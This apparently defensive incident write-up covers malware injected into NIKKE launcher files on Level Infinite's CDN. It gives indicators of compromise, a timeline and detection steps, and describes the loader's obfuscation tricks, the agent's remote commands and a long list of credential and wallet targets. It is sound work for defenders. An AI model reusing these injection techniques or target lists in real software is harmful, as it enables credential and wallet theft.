With Clash or mihomo in TUN mode, SRUM booked the traffic to the proxy process on one PC, so tbs_browser.exe and nikke_launcher.exe may show nothing there. Huorong's traffic table (applog.db, table AppNetInfoList_days_60) still counted upload and download per program and per day; copy it with its -wal and -shm files first, because it cannot be opened while Huorong runs. Huorong's text logs in C:\ProgramData\Huorong\Sysdiag\log\ (hipsdaemon.log, hipsdaemon.log.old, HipsMain.log), which showed it running through both agent runs on that PC, decode line by line: base64, drop the first 4 bytes, invert every byte, then read as UTF-16LE (Iwassoobsessedwith, reported).
Only exec starts new programs (it is the only module that loads win32.exec and CreateProcessW). The other commands run inside the launcher process through LuaJIT FFI, so Prefetch and process-creation logs cannot show them. The agent stays active as long as the launcher is open, and the launcher often stays open in the notification area while the game runs: one reported agent checked in 22 times over 9 hours.
None of these commands leaves an entry in the launcher logs, so treat every command in the table above as possibly run.
Proton does not protect you. The automatic scans look for Windows paths, so they find little in a Proton prefix. On the machine analyzed here, the only target present inside the prefix was the NIKKE launcher data.
The remote commands still reach your Linux files. Wine maps your Linux home folder and / as drive letters (Z: at least). It also passes your environment variables to the game, and the agent reads all of them. With exec, ls, cat and download, the operator can read anything your Linux user can read: ~/.ssh, browser profiles, shell config files with API keys, password stores and documents. The Windows Chrome persistence does not apply on Linux, but treat every secret in your home folder and environment as exposed.
Code was added to four files on Level Infinite's CDN:
| Official file | Loads |
|---|---|
https://sg-gpts.playerinfinite.com/comm/assets/lib/aegis-fix.min.js |
https://insightjs.com/l.js?f=aegis |
https://na-webassets.playerinfinite.com/comm/nikke_launcher/assets/images.7fec4c32.js |
https://insightjs.com/l.js?f=images |
https://na-webassets.playerinfinite.com/comm/nikke_launcher/assets/FeedList.feb647c9.js |
https://insightjs.com/l.js?f=feedlist |
https://na-webassets.playerinfinite.com/comm/assets/lib/vue-bucket.min.js |
https://insightjs.com/l.js?f=vue |
Modified versions (the first two fetched on Nov 3 before the fix, the third on Nov 3 at 18:57 GMT, the fourth recovered by mikansubre from a launcher HTTP cache; size decompressed):
| File | Size | ETag | Last-Modified |
|---|---|---|---|
aegis-fix.min.js |
69,731 bytes | 50d1861152ea7f6875ffceb7d08445b5 |
Sun, 27 Sep 2026 06:41:40 GMT |
images.7fec4c32.js |
4,358 bytes | 481e9b5ab8fb93406bf31980b53e0578 |
Sun, 27 Sep 2026 06:41:57 GMT |
FeedList.feb647c9.js |
5,808 bytes | b7d842200372ad0d9a84ef4cc8511311 |
Sun, 27 Sep 2026 06:42:03 GMT |
vue-bucket.min.js |
135,273 bytes | dd06875637a29cddd3bae2ba84142c78 |
Sun, 27 Sep 2026 06:41:44 GMT |
Clean versions (no loader and no reference to insightjs; the same ETags on both hosts, with per-host Last-Modified times in the timeline):
| File | Size | ETag | Last-Modified | SHA-256 |
|---|---|---|---|---|
aegis-fix.min.js |
69,033 bytes | 44c576454a5b0b4ed60e1a983aa4e782 |
Tue, 03 Nov 2026 17:04:28 GMT | 83bb8f30c65fd31208089f4107f316e7073c9b1213a8a3b2b512ab99e261de18 |
images.7fec4c32.js |
3,660 bytes | 6e5f79cf9b7c364249f9de83ba7fa59e |
Tue, 03 Nov 2026 17:21:31 GMT | 4ad53349f98b86fd3a97bc386b2a1f555baf27c27a270f272404d47c9d7cc065 |
FeedList.feb647c9.js |
5,099 bytes | 04ee9800128396ba26f10ca70f170967 |
Wed, 28 Oct 2026 15:46:09 GMT (uploaded again on Nov 3) | 49b625b30b34dc1fa16edba30bdf63c18b6171a0fc4cf030e21ea4e1263ae18a |
vue-bucket.min.js |
134,592 bytes | 63bc3a47b35b80a5d200dc5624d7126e |
Tue, 03 Nov 2026 17:13:36 GMT | 459343517635a96caa109b050361b4d32393e8727b2f54b44749db783feb4199 |
All versions are served by tencent-cos. Until Nov 4, which copy of FeedList.feb647c9.js a launcher got depended on the CDN server it reached. On Nov 3 between 18:57 and 18:59 GMT, 43.152.43.115 (the address Cloudflare and Google DNS returned to the analyzing machine) served the clean copy. 43.175.144.148 and 43.175.145.181 served the modified copy, SHA-256 2f2aac505f486067af6831d6c75ea74df63acb1ed4e4002709c5962c68bd9203, from a cache dated Sep 30, and returned it for a cache-busting query string too. images.7fec4c32.js was clean on all three servers. At the same check, vue-bucket.min.js was clean on all three (SHA-256 459343517635a96caa109b050361b4d32393e8727b2f54b44749db783feb4199). The modified vue-bucket.min.js has SHA-256 3aaafbd612f04501a6fdb0bb8b2f8a87796223e5584ac18ea5eb180feeafb193.
At 22:26 GMT, FeedList.feb647c9.js was still modified on the same two servers, for both na-webassets and sg-gpts (the sg-gpts copy was modified at 06:42:09 on Sep 27 and cleaned at 15:38:49 on Oct 28, reported). A public urlscan.io scan found by tatsu-t (checked here) still got the modified copy, same SHA-256 and ETag b7d842200372ad0d9a84ef4cc8511311, from a fourth server, 43.175.139.78, for na-webassets on Nov 4 at 00:48:22 GMT. That server had cached it on Oct 15.
The clean copy restored on Oct 28 has the same ETag as the pre-attack original (Last-Modified Jul 2 on one server and Jul 23 on another). It was uploaded again at the origin on Nov 3 at 20:13 (sg-gpts) and 20:19 GMT (na-webassets), with the same ETag 04ee9800128396ba26f10ca70f170967, and the 22:26 check above came after that. From their Date headers, the four servers took the clean copy between 03:12 and 03:21 GMT on Nov 4, most likely after a purge. On Nov 4 at 11:20 GMT all four files were clean on 43.152.43.115, 43.175.144.148, 43.175.145.181 and 43.175.139.78, for both sg-gpts and na-webassets, also with gzip and with a query string.
In late October some CDN servers still had pre-attack copies of FeedList.feb647c9.js and vue-bucket.min.js (the analyzed machine's cache holds the pre-attack vue-bucket.min.js, ETag 4d0dc9cc23650db9631a2280cfa50186), so which loaders a launcher ran depended on the server it reached.
The injected code hides the URL in an integer array (new TextDecoder().decode(new Uint8Array(new Uint32Array([...]).buffer))). It adds a <script> tag, then removes it from the page after loading. If insightjs.com fails, it retries with the TLD replaced by .org (built with String.fromCharCode(111,114,103), found in the modified aegis-fix.min.js, images.7fec4c32.js and FeedList.feb647c9.js). In FeedList.feb647c9.js the 708 added bytes sit just before the module's final export{...} statement, so a check that compares only the end of a file misses them.
The added code logs nothing itself. It loads l.js through a <script> tag and moves to insightjs.org when insightjs.com fails or does not answer within 30 seconds. The empty-source lines in debug.log (startup already in progress, k2f_chan registered, adopted) come from l.js. startup already in progress has only been seen while a payload download was in progress (on the analyzed machine at 00:47:35 GMT, 0.06 s after the download was queued and about a second before lua downloaded; three times on a PC whose four loaders all ran, nikke-check issue #33), but several infected runs do not have it. On that PC l.js logged startup failed: lua download timed out 15.0 seconds after the download was queued and 1.1 seconds before it finished, so it most likely waits about 15 seconds for the payload (reported).
The launcher's V8 code cache (tbs_cache\Code Cache\js\) has loader entries under keys such as https://insightjs.com/l.js?f=aegis, with https://playerinfinite.com/ as origin. They hold no script, only the key, a timestamp and a short marker (about 200 bytes on the analyzed machine), so l.js cannot be recovered from them. The timestamp shows when that loader last ran. The analyzed machine had the aegis and images keys. Other victims reported ?f=feedlist and ?f=vue as well. The launcher's HTTP cache (tbs_cache\Cache\, data_* and f_* files) can also hold the modified files themselves: on the analyzed machine it held the modified aegis-fix.min.js and images.7fec4c32.js. It stores them gzip-encoded, as the CDN sent them, so a plain text search finds nothing. Decompress each gzip stream (it starts with the bytes 1F 8B 08) and search for this string (Iwassoobsessedwith, checked):
String.fromCharCode(111,114,103)
The cached modified aegis-fix.min.js had cache-control: max-age=7776000, 90 days from its Oct 11 Date header.
l.js calls the launcher's own JS bridge (Srv_DownloadFile) to fetch:
| URL | https://analytics.insightjs.com/comm/assets/insight.bundle |
| Size | 205,135 bytes |
| SHA-256 | cc0ad05bfe85940a6067b3a72c182d3953339129206634141926d5d0b35973ec (copy fetched 2026-11-03 16:22 GMT) |
| Headers | content-type: application/octet-stream, cache-control: no-store, last-modified: Tue, 03 Nov 2026 14:56:40 GMT |
Victims ran different builds. The launcher's tinyget.mem.log keeps the response headers, and nginx builds the ETag from the file's modification time and size in hex. Eight uploads with an ETag are known, all 205,135 bytes (3214f):
| Uploaded (GMT, from the ETag) | ETag | Seen | Source |
|---|---|---|---|
| Oct 30 19:34:30 | 6ae4f146-3214f |
Served to one PC at 22:49 GMT by the server's Date header. Its agent's c2s_counter then reached 15, and its last recorded server message was at 04:53 GMT on Oct 31 |
reported |
| Oct 31 15:38:43 | 6ae60b83-3214f |
Downloaded at 17:20 UTC with an agent start | Kallontz, nikke-check issue #9, reported |
| Nov 1 01:06:14 | 6ae69086-3214f |
v3s9er, reported | |
| Nov 1 18:08:55 | 6ae78037-3214f |
neutralnikke, malevolenttortoise and ImDanny39, reported | |
| Nov 2 17:48:47 | 6ae8ccff-3214f |
malevolenttortoise, reported | |
| Nov 2 21:48:40 | 6ae90538-3214f |
Ran on the analyzed machine. Also reported on another machine at 10:58 GMT on Nov 3 | analyzed machine; reported |
| Nov 3 12:31:04 | 6ae9d408-3214f |
Downloaded at 14:19 GMT | vvs, reported |
| Nov 3 14:56:40 | 6ae9f628-3214f (by the same rule) |
The published sample |
A copy of 6ae90538 has the same SHA-256 as the published sample, so those two uploads hold the same bytes, and the decompiled code is also what ran on the analyzed machine (k4zzuk11, nikke-check issue #33, reported). With the Oct 23 build described below, 9 uploads of the agent are known, and nobody has posted hashes for most of them, so how many really differ is not known.
Agents started from Oct 23, so older builds exist whose headers nobody has posted. One of them was still served on Nov 1 at 18:03:18, 5 min 37 s before 6ae78037 was uploaded (axm2, reported). The same builds reached Windows and Proton machines, so they are not per OS. The hash above therefore does not match every infection. tinyget.mem.log is a fixed-size buffer rewritten from the start at each launch, so the end of the file can still hold an older session's headers.
The Oct 23 build is different (zbeosf, reported). It was saved as Launcher\log\tinyget\k2f.lua, 165,108 bytes, SHA-256 60fd53ab7356384ba2161b9bc84420cd170905011a2f3ca09f3e38fe3122f3a1, and is still on disk: that build has no payload_cleanup, and whatever deletes the later payloads within seconds did not delete this one either. It has 14 of the 19 commands (no file_chunk, wallet_files, host_facts, chrome_cleanup or payload_cleanup) and no shell-history, Kiro or wallet-extension targets (reported). That matches the Nov 3 build, where those are exactly the extra modules. So 205,135 bytes is not a universal size: any file in Launcher\log\tinyget that starts with the bytes 1B 4C 4A 01 is the agent.
The launcher saves the payload under a misleading .log name in Launcher\log\tinyget\ and runs it. The file is then deleted within seconds (see Check if you are infected), except on a PC where l.js stopped waiting before the download finished (nikke-check issue #33, reported). On early runs reported on Oct 24 it was saved as Launcher\log\tinyget\k2f.lua.
An earlier version of this report listed a 22-byte hex file in %LOCALAPPDATA%\Temp\ (onominan.tmp) as a marker. That was wrong. The same file name with the same kind of content exists in Delta Force Wine prefixes dated 2026-09-20, before the CDN files were changed, so it comes from Tencent software and does not show infection.
- Format: LuaJIT 2.0 bytecode (32-bit, stripped), obfuscated with Prometheus. The strings are stored in a shuffled table with custom base64 and base85 encoding.
- Internal build name:
K2F_LUA_BUILD. - Windows access through LuaJIT FFI:
CredEnumerateW,CryptUnprotectData,NCryptDecrypt,BCrypt*,Reg*,CreateProcessW,CreatePipe,GetEnvironmentStringsW,GetLogicalDrives,GetAdaptersInfo, GDI+. - Protocol: JSON requests over
k2f_chan({op: "open", cmd: "<name>", arg: {...}}, thenreadandwriteon a session ID). Output is returned base64-encoded in chunks of up to 2 MiB. - State: the agent stores
k2f.agent.statein the launcher's Local Storage (originhttps://www.nikkelauncher.com,tbs_cache\Local Storage\leveldb\). On the analyzed machine it heldagent_id(the same UUID as theadoptedlog line),agent_pass,c2s_counter: 4, ans2c_counterthat looks like a microsecond timestamp (2026-11-03 00:47:37 GMT), and this config:poll_interval_seconds: 1800,jitter_seconds: 360,collect_cookies: false. The agent checks in with the server every 30 minutes, give or take 6. Thes2c_countervalue, 1793666857535416, is 2026-11-03 00:47:37.535 GMT in microseconds, about a second after the agent started (00:47:36.6 GMT indebug.log). Older values of the key stay in the LevelDB.logfile until LevelDB compacts it. Victims' files showc2s_countergoing up by one per check-in, and the server switching the interval between 600, 1800 and 900 seconds, at the same minutes on unrelated machines, so it is one setting for all agents (reported in the comments). On Oct 23 the interval was 900 s with 90 s of jitter (zbeosf, reported), and on Oct 24 600 s with 150 s. The interval is a server setting kept ink2f.agent.state, not part of the Lua build. The sames2c_countervalue on two machines suggests it is the time of a server message, such as a config update, not of each check-in. The Lua payload never reads or writes the two counters, so they are handled byl.js, and what makesc2s_countergo up could not be confirmed from code. - Network: the Lua agent has no network code. It loads only
advapi32,bcrypt,crypt32,gdi32,gdiplus,iphlpapi,kernel32,ncrypt,psapi,shcoreanduser32, and only answers requests onk2f_chan. Every check-in and every upload goes out throughl.jsin the launcher's embedded browser (tbs_browser.exeon Windows), so firewall, proxy and SRUM records show that process (under a TUN proxy, SRUM can book it to the proxy process instead, reported). Victims reported uploads of about 947 KB within seconds of an agent start and 146 MB in one hour (reported, SRUM). browserscansends the rows of the browser databases (site, user name or cookie name, encrypted value) and the keys, and the server decrypts them. For Chrome and Edge app-bound encryption it first tries the SYSTEM token ofservices.exe, which only works when the launcher runs as administrator. Firefoxkey4.dbandlogins.jsonare sent whole. It makes one%TEMP%\k2f-bcreds-<unix time>-<random>.dbcopy per database file (each profile'sLogin Data,Login Data For Accountand, unlesscollect_cookiesis false,Cookies), not one per browser, and deletes it right after reading. The number in the name is the Unix time of the copy, so leftover files show whenbrowserscanran (Lirikana, checked in the code). The deletion can fail: one PC still had such a copy of aLogin Datafile, made on Nov 1 at 18:41:25 GMT. 85 of its 86 saved passwords are in Chrome'sv10format, which the server can decrypt with the keybrowserscansends (reported; the file's structure was checked here without decrypting anything).screenssaves each screenshot as%TEMP%\k2f_screen_<unix time>_<n>.jpg(.pngin the Oct 23 build, reported) and deletes it right after reading, so finding none of these files proves nothing. The Oct 23 build also wrote%TEMP%\k2f-keyscan-<time>-<rand>.dbcopies (reported); the Nov 3 build reads those stores in place.payload_cleanupdeletestinyget*.logandk2f*.luafiles inlog\tinygetthat start with LuaJIT bytecode (1B 4C 4A 01).chrome_installgets the DLL from the server as base64. Before writing it, the agent puts the agent ID after a/px/placeholder and a 64-hex token over aBEARER000…placeholder, then saves it under a server-supplied SHA-256 folder name. Every installed DLL therefore has its own hash. On two PCs that folder name was the DLL's own SHA-256 (cheejordan and nikke-check issue #32, reported). The agent creates the folder itself and never checks that Chrome is installed.chrome_scanreports Chrome installs, profiles and extension IDs first, andwallet_filesreads the extension IDs the server sends, so the server picks the targets.- The DLL: a copy from one of those PCs (SHA-256
5cb16618da463b7b9935365e87f7962875d3001d6d08cdddfa9c7823223234cb, 250,368 bytes, x64) was never run. Its imports and strings were read, and the parts below were disassembled (nikke-check issue #32, comment 6714845858). Its PE header TimeDateStamp, 1793299921, is 2026-10-29 18:52:01 UTC, the same time VirusTotal and whykusanagi's copy show. Earlier versions of this write-up said 19:52:01, a local-time reading that stew-iwnl spotted. There is one build, compiled in the same minute as the start of distribution that Level Infinite's notice gives (Oct 29, 18:52 GMT).- It exports only
DllCanUnloadNowandDllGetClassObject, as a COM server does. - Host check: on load it takes the file name of the program that loaded it (
GetModuleFileNameW), compares it withchrome.exe(lstrcmpiW), then checks thatchrome.dllis loaded (GetModuleHandleW). If either check fails it returns without starting anything, so in Steam, Spotify and the other programs listed in If you are infected it is loaded and does nothing. - In Chrome it drives the browser through the Chrome DevTools protocol (
Target.setAutoAttach,Runtime.evaluate,Debugger.evaluateOnCallFrame), lists 28 crypto wallet extension IDs (MetaMask, Phantom, SubWallet, Binance, Bitget and others), reads their scripts from disk to find the code that unlocks the vault, and takes the password, recovery phrase or private key when the wallet is unlocked. It also readsinput[type=password]fields in web pages and the browser'sLocal State. - It sends JSON by POST to
https://analytics.insightjs.com/px/<agent id>withAuthorization: Bearer <token>. There is no GET request and no string that looks like a command parser./px/is send-only. The DLL does not importWinHttpReadDataorWinHttpQueryDataAvailable, and no code resolves them by name. AfterWinHttpSendRequestandWinHttpReceiveResponseit only callsWinHttpQueryHeaders(the status) and closes the request. It never reads a response body, so the server cannot send it instructions. - No self-protection was found. No registry, file copy or process creation functions are imported or resolved by name, so it cannot re-add its key or copy itself.
- It exports only
collect_cookiesis an argument ofbrowserscan. When it is false, the cookie stores are skipped and saved passwords are read anyway.cat,downloadandexeccan still copy a browser's Cookies file, sofalsein the saved config does not mean the cookies were safe.- Modules:
base64,json,channel,dispatch,commands.*,keyscan.*,win32.chrome,win32.creds,win32.exec,win32.extensions,win32.firefox,win32.fs,win32.hook,win32.registry,win32.screens,win32.sysinfo,win32.whoami.
The full list of 264 paths, plus browser subpaths, registry keys and file patterns, is in target-paths.md in this gist. Main groups:
| Group | Targets |
|---|---|
| SSH and remote access | ~\.ssh\* including known_hosts, PuTTY and WinSCP sessions in the registry, FileZilla sitemanager.xml and recentservers.xml |
| GPG | %APPDATA%\gnupg, private-keys-v1.d |
| AI tools | ~\.claude\.credentials.json, %APPDATA%\Claude\claude_desktop_config.json, $CODEX_HOME\auth.json, Gemini CLI oauth_creds.json, GitHub Copilot CLI, Cursor, Windsurf, VS Code (state.vscdb, mcp.json), Kimi, Qwen Code, OpenCode, Aider, Continue.dev |
| Cloud | AWS (~\.aws\credentials, SSO cache), Azure, Google Cloud, Oracle Cloud, DigitalOcean, Hetzner, Linode, Alibaba, Tencent, Huawei, Fly.io, Railway, Vercel, Netlify, Cloudflare Wrangler, Supabase, Neon, PlanetScale, MongoDB Atlas, Snowflake, Databricks |
| Developer tools | GitHub CLI hosts.yml, GitLab CLI, npm, pip, Poetry, Cargo, Composer, NuGet, RubyGems, Gradle, Maven, Docker and Podman auth.json, Kubernetes, Helm, Terraform, Pulumi, Stripe, Twilio, Sentry, Hugging Face, Kaggle |
| Shell history | PowerShell ConsoleHost_history.txt, ~\.zsh_history, fish, psql |
| Project folders | %USERPROFILE%\code, dev, source, Programming, Documents, Desktop, scanned for .env, appsettings*.json, application*.yml, docker-compose.yml, .mcp.json |
| NIKKE | %APPDATA%\nikke_launcher, %APPDATA%\nikke_launcher_hmt |
| Environment variables | 38 variables that point to config files, such as $CLAUDE_CONFIG_DIR, $GH_CONFIG_DIR, $AWS_SHARED_CREDENTIALS_FILE, $KUBECONFIG, $DOCKER_CONFIG |
| Crypto wallets | 28 browser extensions by ID, including MetaMask, Phantom, Coinbase, Binance, OKX, Bybit, Bitget, Trust, Rabby, Rainbow, Keplr, Solflare, Backpack, Tonkeeper, TronLink, Xverse, UniSat, Petra, Ronin and Magic Eden |
| Item | Details |
|---|---|
insightjs.com |
Registered 2026-09-27 01:59 GMT through PDR Ltd. (PublicDomainRegistry), owner hidden. Name servers ns0.1984.is, ns1.1984.is, ns2.1984hosting.com until the suspension. Registration updated on 2026-10-12. The name was used before: crt.sh lists 19 entries for 14 certificates issued by Amazon for api.insightjs.com and cdn.insightjs.com from 2019-08 to 2022-07 (a precertificate and its final certificate are two entries when both were logged), and the Wayback Machine has a 2017 capture from an IIS server, so it was registered again after it lapsed. Nothing links the earlier owner to this attack (tatsu-t, checked). Suspended by the registrar since 2026-11-05 02:05:09 GMT: status client hold, name servers NS1.SUSPENDED-DOMAIN.COM and NS2.SUSPENDED-DOMAIN.COM (Verisign RDAP, checked on Nov 5 at 09:09 GMT) |
| Wayback Machine captures | On Sep 27 at 04:08:04 GMT http://insightjs.com/ answered 301 to HTTPS, and at 04:56:44 https://insightjs.com/ answered with an nginx 403 page. The server was up about 2.5 hours before the CDN files were modified at 06:41 (tatsu-t, checked) |
insightjs.com, analytics.insightjs.com |
Resolved to 89.127.233.127 until the suspension (last seen on Nov 4 at 22:59 GMT, TTL 120). On Nov 5 at 09:09 GMT the .com name servers answered NXDOMAIN for the apex, www and analytics (checked through Google DNS, and for the apex and analytics also through Cloudflare DNS). Before about Oct 22 both names resolved to 89.126.250.172 (reported by D-Maledicte) |
89.126.250.172 |
1984 ehf, Iceland, network IS-1984-20060308 (89.126.248.0/21), AS44925: same provider, network name and ASN as 89.127.233.127 (RIPE RDAP). Not contacted |
| Certificates (Cert Spotter) | insightjs.com and www.: 2026-09-27 03:00:24. analytics.: 2026-10-06 00:55:00. analytics., portal., www. and the apex: 2026-10-23 15:37:09. The same plus docs.: 2026-10-24 21:15:14 (the certificate the payload server presented on Nov 3) |
89.127.233.127 |
Shut down by 1984 ehf on Nov 3 according to its reply to an abuse report (reported). VPS at 1984 ehf, Iceland. Network IS-1984-20060308 (89.127.232.0/22), reverse DNS vps-89-127-233-127.1984.is. Abuse contact abuse@1984.is |
insightjs.org |
Fallback domain in the loader. Unregistered until Nov 3, then registered at 17:55:42 GMT through Spaceship, Inc., behind Cloudflare (104.21.35.173 and 172.67.178.16, unchanged on Nov 5 at 09:09 GMT, checked through Google DNS). It now serves a multilingual "NIKKE PC Launcher Security Alert" page, and its l.js only shows that warning inside the launcher. A launcher that shows that overlay ran a stale modified file and followed the fallback: FeedList.feb647c9.js in the case reported (Iwassoobsessedwith, reported). The modified aegis-fix.min.js and images.7fec4c32.js have the same fallback. The page says it is an independent notice and links to this report and an NGA thread. /comm/assets/insight.bundle returns 404 there |
https://insightjs.com/l.js |
On Nov 3 at 17:30 GMT it returned a different script for both ?f=aegis and ?f=images: 9,145 bytes, SHA-256 9617d04eb82ad804b55115d123fa3954711f44f318c9cf09c9b4857a24cba644. It looks like a page-speed analytics script that posts to /speed, with no download code |
insight.bundle |
Still served on Nov 3 at 17:30 GMT, same SHA-256 cc0ad05b...73ec, unchanged since 14:56 GMT |
| Date | Event |
|---|---|
| 2026-09-27 01:59 | insightjs.com registered |
| 2026-09-27 03:00 | First certificate for insightjs.com and www.insightjs.com |
| 2026-09-27 04:08 | insightjs.com answers: 301 to HTTPS, then an nginx 403 over HTTPS at 04:56 (Wayback Machine captures) |
| 2026-09-27 06:41-06:42 | Four official files on Level Infinite's CDN modified |
| 2026-09-30 | Earliest reported loader lookups of insightjs.com: a Pi-hole log from 06:31:29 (time zone not given, TijuanaFlow) and a NextDNS export that also starts on Sep 30 (AdamCKW), both reported |
| 2026-10-05 07:09 | insightjs.com lookup 3 s after a playerinfinite lookup on that day's first launch (luminesce01, Pi-hole, reported) |
| 2026-10-05 to 10-21 | insightjs.com reached at 89.126.250.172 from one victim's network (reported) |
| 2026-10-06 00:55 | First certificate for analytics.insightjs.com |
| 2026-10-12 | insightjs.com registration updated |
| 2026-10-21 to 10-23 | insightjs.com moves to 89.127.233.127 (reported); new certificate for the apex, analytics., portal. and www. at 10-23 15:37 |
| 2026-10-23 16:40 | Earliest agent start reported in the comments (zbeosf), about an hour after the 15:37 certificate |
| 2026-10-24 01:16 | Agent start reported on a Linux machine under Proton (payload saved as k2f.lua). A Windows machine logged one at 01:43 |
| 2026-10-28 15:46 | FeedList.feb647c9.js replaced with a clean copy at the origin. Some CDN servers keep the modified copy they cached earlier (Sep 30 on two servers, Oct 15 on a third) |
| 2026-10-29 18:52 | Start of distribution according to Level Infinite's notice (Oct 30 03:52 UTC+9). The persistence DLL was compiled in the same minute (PE header, 18:52:01). Agents had already started on Oct 23 and Oct 24 (rows above, reported) |
| 2026-10-30 19:34 | Build 6ae4f146 of insight.bundle uploaded (from its ETag), the earliest 205,135-byte build known. One PC received it at 22:49, and its agent was still in contact with the server at 04:53 on Oct 31 (reported) |
| 2026-10-30 to 11-03 | More reported agent starts: Oct 30 18:30, 22:50; Nov 1 18:40, 19:37, 21:14, 21:36, 21:57, 22:15, 23:02, 23:53; Nov 2 20:01, 20:24, 23:17, 23:36; Nov 3 04:27, 07:06, 10:58 |
| 2026-10-31 15:38 | Build 6ae60b83 of insight.bundle uploaded (from its ETag). An agent started from it at 17:20 (Kallontz, reported) |
| 2026-11-01 01:06 | Build 6ae69086 uploaded (from its ETag, reported by v3s9er) |
| 2026-11-01 11:14, 11-02 17:34 | Launches on the analyzed machine: loader present, no payload served |
| 2026-11-01 18:08 | One build of insight.bundle uploaded (from its ETag) |
| 2026-11-02 17:48 | Another build of insight.bundle uploaded (from its ETag, reported) |
| 2026-11-02 21:48 | The build that ran on the analyzed machine uploaded |
| 2026-11-03 00:47 | Payload served and run on the analyzed machine |
| 2026-11-03 12:31 | Build 6ae9d408 uploaded (reported by vvs; an agent started from it at 14:19) |
| 2026-11-03 14:56 | Payload file uploaded again on the attacker's server, with the same bytes as the Nov 2 21:48 upload (nikke-check issue #33, reported) |
| 2026-11-03 about 15:00 | Level Infinite detects anomalies in the launcher script files, according to its notice (Nov 4 about 00:00 UTC+9) |
| 2026-11-03 16:11 | First public warning on the NIKKE community Discord |
| 2026-11-03 16:56 | Official files still modified |
| 2026-11-03 17:04-17:23 | Level Infinite replaces aegis-fix.min.js, vue-bucket.min.js and images.7fec4c32.js on both hosts (02:04-02:23 UTC+9 on Nov 4 in its notice). sg-gpts: aegis 17:04:28, vue 17:04:28, images 17:23:02. na-webassets: aegis 17:13:37, vue 17:13:36, images 17:21:31 |
| 2026-11-03 17:30 | l.js on the attacker's server now returns a harmless-looking analytics script. insight.bundle is still online |
| 2026-11-03 17:55 | insightjs.org registered by a third party and turned into a warning page |
| 2026-11-03 18:31 | 89.127.233.127 no longer answers (connection timeout from the analyzing machine) |
| 2026-11-03 18:35 | Sweep of 63 official launcher files on playerinfinite.com through 43.152.43.115: no loader code. That server already had the clean FeedList.feb647c9.js, so the sweep missed it |
| 2026-11-03 18:59, 20:23, 22:26 | FeedList.feb647c9.js still modified on 43.175.144.148 and 43.175.145.181 |
| 2026-11-03 20:13, 20:19 | Clean FeedList.feb647c9.js uploaded again at the origin (sg-gpts 20:13, na-webassets 20:19), same ETag 04ee9800128396ba26f10ca70f170967 |
| 2026-11-03 23:26 | 1984 ehf replied to an abuse report that 89.127.233.127 "has been shut down" (reported by seth12619; not checked here, and DNS still pointed to that address at 22:26) |
| 2026-11-04 00:48 | A public urlscan.io scan still gets the modified FeedList.feb647c9.js from 43.175.139.78 for na-webassets (found by tatsu-t, checked) |
| 2026-11-04 03:09 | CDN cache refresh for the remaining modified file, according to Level Infinite's notice (12:09 UTC+9) |
| 2026-11-04 03:12-03:21 | All four CDN servers checked take the clean FeedList.feb647c9.js (from their Date headers), after the cache refresh in the row above |
| 2026-11-04 03:13 | Level Infinite posts a statement on X: the launcher's script files may have been tampered with by a third party, and fixes went out around 17:30 GMT on Nov 3 |
| 2026-11-04 11:20 | All four files clean on 43.152.43.115, 43.175.144.148, 43.175.145.181 and 43.175.139.78, for both hosts |
| 2026-11-04 | The launcher loads a rebuilt front-end: nikke.c2f24fe0.js, images.64d80e3e.js, video-js.c239e58d.js, aegis-fix.min.js?t=20261104, vue-bucket.min.js?v=20261104. FeedList.feb647c9.js keeps its URL (checked on a fresh install) |
| 2026-11-04 22:59 | insightjs.com and analytics.insightjs.com still resolve to 89.127.233.127 (TTL 120), insightjs.org to Cloudflare 104.21.35.173 and 172.67.178.16 (checked through Google DNS) |
| 2026-11-04 23:00 | According to Level Infinite's notice, the official PC client begins to check for the malware at launch and deletes what it finds if the player agrees (Nov 5 08:00 UTC+9) |
| 2026-11-04 23:01-23:11 | Level Infinite posts an apology on X (23:01), then its follow-up notice (23:08) and manual check instructions (23:11) on nikke-en.com (times reported by Iwassoobsessedwith) |
| 2026-11-05 02:05 | insightjs.com suspended by its registrar (client hold, Verisign RDAP, checked). At 09:09 GMT the .com name servers answered NXDOMAIN for the apex, www and analytics (Google DNS, checked) |
# Domains
insightjs.com
analytics.insightjs.com
insightjs.org
# IP
89.127.233.127
89.126.250.172 (used until about Oct 21, reported)
# URLs
https://insightjs.com/l.js?f=aegis
https://insightjs.com/l.js?f=images
https://insightjs.com/l.js?f=feedlist
https://insightjs.com/l.js?f=vue
https://analytics.insightjs.com/comm/assets/insight.bundle
https://analytics.insightjs.com/px/<32 hex> (Chrome DLL; the hex is the agent ID)
# Modified official files
https://sg-gpts.playerinfinite.com/comm/assets/lib/aegis-fix.min.js
https://na-webassets.playerinfinite.com/comm/nikke_launcher/assets/images.7fec4c32.js
https://na-webassets.playerinfinite.com/comm/nikke_launcher/assets/FeedList.feb647c9.js
https://na-webassets.playerinfinite.com/comm/assets/lib/vue-bucket.min.js
https://sg-gpts.playerinfinite.com/comm/nikke_launcher/assets/images.7fec4c32.js (cliff101, reported)
https://sg-gpts.playerinfinite.com/comm/nikke_launcher/assets/FeedList.feb647c9.js (cliff101, reported)
https://sg-gpts.playerinfinite.com/comm/assets/lib/vue-bucket.min.js (cliff101, reported)
# Modified copies SHA-256
2f2aac505f486067af6831d6c75ea74df63acb1ed4e4002709c5962c68bd9203 FeedList.feb647c9.js
3aaafbd612f04501a6fdb0bb8b2f8a87796223e5584ac18ea5eb180feeafb193 vue-bucket.min.js
21d2fa4b6cdd15da3d5246687a01ef84fb848668144258b110606db5eb5ea7ce images.7fec4c32.js (4,358 bytes, ETag 481e9b5ab8fb93406bf31980b53e0578, zbeosf, checked)
04471ccf9f6ebac477ba4ca6b408a56621bccd16118c3112720adb35e6422e3d aegis-fix.min.js (69,731 bytes, ETag 50d1861152ea7f6875ffceb7d08445b5)
# Payload SHA-256 (2026-11-03 16:22 GMT copy, 205,135 bytes; other builds exist)
cc0ad05bfe85940a6067b3a72c182d3953339129206634141926d5d0b35973ec
# Oct 23 build, Launcher\log\tinyget\k2f.lua, 165,108 bytes (zbeosf, reported)
60fd53ab7356384ba2161b9bc84420cd170905011a2f3ca09f3e38fe3122f3a1
# Whatever its size or name, a file in Launcher\log\tinyget that starts with 1B 4C 4A 01 is the agent
# Log strings (Launcher/intl_service/debug.log)
startup already in progress
k2f_chan registered
adopted
resuming
agent started as
lua downloaded to log\tinyget\ (tinyget.<time>.log, or k2f.lua on early runs)
# Loader entries in tbs_cache\Code Cache\js\ (same names on every machine)
dd65fa4d61079e7e_0 aegis
ce2fd3f1007a9fe9_0 images
1416c638b3830103_0 feedlist
fd520c7c0f65c2d7_0 vue
